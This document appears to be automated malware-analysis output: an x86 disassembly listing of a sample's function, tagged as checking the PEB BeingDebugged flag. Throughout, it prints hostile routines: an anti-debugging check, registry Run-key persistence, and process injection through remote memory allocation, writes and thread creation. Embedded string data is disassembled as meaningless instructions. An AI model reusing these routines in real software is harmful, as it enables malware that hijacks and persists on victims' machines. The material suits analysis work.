Function at 0x70a0ed
Capabilities:
Check for peb beingdebugged flag

Disassembly:
ficomp word [ecx - 0x4e3d9cfc]
mov dl, 0xd3
out 2, eax
test eax, 0xad14f931
add byte [eax], al
pushal
js 0x709f66
jns 0x709f66
jmp 0x709f4f
call 0x70b41a
mov esi, dword [esp + 0x20]
call 0x709f85
popal
js 0x709f7a
jns 0x709f7a
jmp 0x709fe3
push 0x55c150
ret
mov ebx, dword [ebp + 0x24]
add ebx, esi
movzx ecx, word [ebx + eax*2]
mov ebx, dword [ebp + 0x1c]
add ebx, esi
mov ebx, dword [ebx + ecx*4]
add ebx, esi
sub esp, 0x110
mov edi, esp
mov dword [esp + 0xf4], esi
call fcn.0070a661
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x70a00b
mov eax, dword [esp]
call 0x70a029
push ebp
push ebx
inc ebp
push edx
xor esi, dword [edx]
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0x8e8e8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x70a032
mov eax, dword [esp]
call 0x70a052
inc ecx
inc esp
push esi
inc ecx
push eax
dec ecx
xor esi, dword [edx]
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0x94ee8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x70a05b
mov eax, dword [esp]
call 0x70a076
dec ebp
push eax
push edx
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0x991e8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x70a07f
mov eax, dword [esp]
call 0x70a09e
push edi
push ebx
dec edi
inc ebx
dec ebx
xor esi, dword [edx]
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0x9b5e8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x70a0a7
mov eax, dword [esp]
call 0x70a0c6
push ebx
dec eax
inc ebp
dec esp
dec esp
xor esi, dword [edx]
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0xa18e8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x70a0cf
mov eax, dword [esp]
call 0x70a0ed
push ebp
push edx
dec esp
dec ebp
dec edi
dec esi
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0xa0ee8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x70a0f6
mov esi, esp
call 0x70a119
inc ecx
outsb dx, byte [esi]
jb 0x70a186
and byte [ecx + 0x6e], al
insb byte es:[di], dx
and byte [esi + 0x33], dh
xor byte cs:[eax], al
push 0
push 0
call dword [esi + 4]
call dword [esi + 8]
js 0x70a128
jns 0x70a128
jmp 0x70a134
or eax, eax
je 0x70a132
int3
call dword [esi + 0xc]
push 1
push eax
call dword [esi + 0x10]
js 0x70a140
or al, 0x6a
add dword [eax - 1], edx
push esi
adc byte [eax + 3], bh
jns 0x70a140
jmp 0x70a1a9
push 0x2710
call dword [esi + 0x44]
call fcn.0070a1f9
mov esi, esp
push 0xea60
call dword [esi + 0x44]
sub esp, 0x1130
push esp
call fcn.0070ab2b
mov eax, esp
add esp, 0x1130
push 1
push eax
call dword [esi + 0x10]
push 0x493e0
call dword [esi + 0x44]
call fcn.0070a1ce
mov esi, esp
call 0x70a18f
inc esp
insb byte es:[edi], dx
insb byte es:[edi], dx
dec eax
popal
jae 0x70a1de
jne 0x70a1fc
add byte [edx], ch
push 0x1f0001
call dword [esi + 0x8c]
call dword [esi + 8]
or eax, eax
je 0x70a1bd
sub esp, 0x1130
push esp
call fcn.0070ab5d
mov eax, esp
add esp, 0x1130
push 1
push eax
call dword [esi + 0x10]
push dword fs:[0x30]
pop eax
movzx eax, byte [eax + 2]
or al, al
jne 0x70a1c8
jmp 0x70a171
nop
mov dword [edx], eax
call fcn.0070adbe
lea eax, [edx + 0x39]
nop
nop
nop
mov dword [edx], eax
call fcn.0070abc8
call fcn.0070abf9
int3
or eax, 0xec810000
xor byte [ecx], dl
add byte [eax], al
push esp
call dword [esi + 0x84]
mov ax, word [esp + 6]
add esp, 0x1130
cmp ax, 0x1d
ja 0x70a31f
push eax
push esp
call 0x70a262
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x70a2a4
jb 0x70a299
outsb dx, byte [esi]
je 0x70a27a
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x70a2ad
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x70a29d
push ebx
jb 0x70a2bb
imul esp, dword [ebx + 0x65], 0x614c5c73
outsb dx, byte [esi]
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
push ebx
jb 0x70a2ca
jb 0x70a2b3
push eax
popal
jb 0x70a2bc
insd dword es:[edi], dx
je 0x70a2c4
jb 0x70a2d4
add byte [eax + 2], ch
add byte [eax], al
cmp bh, 0x96
lodsb al, byte [esi]
add byte [eax], al
add byte [ebx - 0x75], bl
invalid
push 0x53657261
jb 0x70a2f8
jb 0x70a285
pop ecx
call 0x70a28f
add byte [eax], al
add byte [eax], al
pop eax
push 4
push eax
push 4
push 0
push ecx
push ebx
call dword [esi + 0xb0]
add byte [eax], al
push eax
push esp
call 0x70a2e0
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x70a322
jb 0x70a317
outsb dx, byte [esi]
je 0x70a2f8
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x70a32b
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x70a31b
push ebx
jb 0x70a339
imul esp, dword [ebx + 0x65], 0x614c5c73
arpl word [ebp + 0x73], sp
pop esp
dec esp
popal
outsb dx, byte [esi]
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
push ebx
jb 0x70a348
jb 0x70a331
pop esp
push eax
popal
jb 0x70a33a
insd dword es:[edi], dx
je 0x70a342
jb 0x70a352
add byte [eax + 2], ch
add byte [eax], al
cmp bh, 0x96
lodsb al, byte [esi]
add byte [eax], al
add byte [ebx - 0x75], bl
invalid
push 0x57657261
imul esi, dword [ebx], 0x59
call 0x70a30a
add byte [eax], al
add byte [eax], al
pop eax
push 4
push eax
push 4
push 0
push ecx
push ebx
call dword [esi + 0xb0]
jmp 0x70a418
add byte [eax], al
add cl, ch
stc
add byte [eax], al
add byte [eax + 0x54], dl
push eax
push esp
call 0x70a360
cmp al, byte [eax]
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x70a3a2
jb 0x70a397
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je 0x70a378
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x70a3ab
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x70a39b
push ebx
jb 0x70a3b9
jbe 0x70a3ad
imul esp, dword [ebx + 0x65], 0x614c5c73
arpl word [ebp + 0x73], sp
pop esp
dec esp
popal
outsb dx, byte [esi]
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
push ebx
jb 0x70a3c8
jb 0x70a3b1
push eax
popal
jb 0x70a3ba
insd dword es:[edi], dx
je 0x70a3c2
jb 0x70a3d2
add byte [eax + 2], ch
add byte [eax], al
cmp bh, 0x96
lodsb al, byte [esi]
add byte [eax], al
add byte [ebx - 0x75], bl
invalid
push 0x53657261
jb 0x70a3f6
jb 0x70a383
pop ecx
call 0x70a38d
add dword [eax], eax
add byte [eax], al
pop eax
push 4
push eax
push 4
push 0
push ecx
push ebx
call dword [esi + 0xb0]
add byte [eax], al
push eax
push esp
call 0x70a3de
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x70a420
jb 0x70a421
jb 0x70a415
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je 0x70a3f6
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x70a429
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x70a419
push ebx
jb 0x70a437
imul esp, dword [ebx + 0x65], 0x614c5c73
arpl word [ebp + 0x73], sp
pop esp
dec esp
popal
outsb dx, byte [esi]
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
push ebx
jb 0x70a446
jb 0x70a42f
pop esp
push eax
popal
jb 0x70a438
insd dword es:[edi], dx
je 0x70a440
jb 0x70a450
add byte [eax + 2], ch
add byte [eax], al
cmp bh, 0x96
lodsb al, byte [esi]
add byte [eax], al
add byte [ebx - 0x75], bl
invalid
push 0x57657261
imul esi, dword [ebx], 0x59
call 0x70a408
add dword [eax], eax
add byte [eax], al
pop eax
push 4
push eax
push 4
push 0
push ecx
push ebx
call dword [esi + 0xb0]
add byte [eax], al
add byte [ecx + 0x100ec], al
add byte [eax + ebp*8 + 0x6c], dl
sub esp, 0x100
in al, dx
add byte [ecx], al
add byte [eax], al
push esp
call fcn.0070ab90
insb byte es:[edi], dx
pop es
add byte [eax], al
mov edi, esp
push 0x10
push edi
call dword [esi + 0x70]
cmp eax, 0xffffffff
je 0x70a44e
mov ebx, eax
call fcn.0070b015
add byte [edx], ch
push 0
push 0
push ebx
call dword [esi + 0x3c]
push ebx
call fcn.0070ae74
mov edi, esp
push 7
push edi
call dword [esi + 0x28]
push eax
push esp
call 0x70a483
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x70a4c4
push edi
imul ebp, dword [esi + 0x64], 0x5c73776f
inc ebx
jne 0x70a4e5
jb 0x70a4da
outsb dx, byte [esi]
je 0x70a4ce
jb 0x70a4ee
imul ebp, dword [edi + 0x6e], 0x6e75525c
add byte [eax + 1], ch
add byte [eax], al
cmp bh, 0x96
lodsb al, byte [esi]
add byte [eax], al
add byte [ebx - 0x75], bl
invalid
xchg byte [eax - 0x77000000], dh
xchg dword [esi + 0xd], ecx
add byte [eax], al
add byte [ebx + 0xb886], cl
add byte [ecx + 0xd3987], cl
mov eax, dword [esi + 0xb8]
mov dword [edi + 0xd39], eax
lea eax, [edi + 0xcfd]
push eax
push esp
add byte [ebp + 0xcfd87], cl
add byte [eax + 0x54], dl
push 0
push ebx
push eax
push 0
push 0
call dword [esi + 0x74]
pop eax
xor eax, eax
mov dword [esi + 0xfc], eax
sub esp, 0x100
push esp
call fcn.0070ab90
call 0x70a508
pop edi
mov eax, dword [esi + 0x44]
mov dword [edi + 0xd1f], eax
mov eax, dword [esi + 0x84]
mov dword [edi + 0xd36], eax
mov dword [edi + 0xe03], eax
mov eax, dword [esi + 0xf0]
mov dword [edi + 0xd9a], eax
mov dword [edi + 0xe58], eax
mov eax, dword [esi + 0x10]
mov dword [edi + 0xe6c], eax
mov eax, dword [esi + 0x50]
mov dword [edi + 0xe8f], eax
mov eax, dword [esi + 0x64]
mov dword [edi + 0xeab], eax
mov eax, dword [esi + 0x10]
mov dword [edi + 0xec6], eax
mov eax, dword [esi + 0x48]
or eax, eax
je 0x70a5d0
push 1
push 0
call eax
mov edx, dword [esi + 0xf4]
movzx ebx, word [edx + 0x3c]
add ebx, edx
mov ecx, dword [ebx + 0x104]
mov ebp, dword [ebx + 0x54]
sub ecx, ebp
cmp ecx, 0x200
jb 0x70a5ce
add ebp, edx
lea edx, [edi + 0xd16]
push 0x1be
nop
push ebp
push edx
call int.0070b3de
lea ecx, [ebp + 0x1be]
mov edx, esp
push pe_nt_image_headers32
push ecx
push edx
call int.0070b3de
call dword [esi + 0x4c]
push eax
push esp
push 0
push eax
push ebp
push 0
push 0
call dword [esi + 0x5c]
mov dword [esi + 0xfc], eax
pop eax
push 0x1f4
call dword [esi + 0x44]
int3
push 0
push 0
call dword [esi + 0x94]
push eax
push esp
push eax
call dword [esi + 0x90]
push 0
push 0x1f0fff
call dword [esi + 0x50]
or eax, eax
je 0x70a660
mov ebx, eax
push 0x40
push 0x1000
push 0x800
push 0
push ebx
call dword [esi + 0x68]
or eax, eax
je 0x70a654
mov ebp, eax
lea edx, [edi + 0xd16]
push eax
push esp
push 0x1be
nop
push edx
push ebp
push ebx
call dword [esi + 0x54]
pop eax
cmp eax, 0x1be
nop
jne 0x70a654
mov edx, esp
lea ecx, [ebp + 0x1be]
push eax
push esp
push 0x400
push edx
push ecx
push ebx
call dword [esi + 0x54]
call dword [esi + 0x4c]
push esp
push 0
push eax
push ebp
push 0
push 0
push ebx
call dword [esi + 0x58]
mov dword [esi + 0xfc], eax
pop eax
push ebx
call dword [esi + 0x60]
push 0x1f4
call dword [esi + 0x44]
int3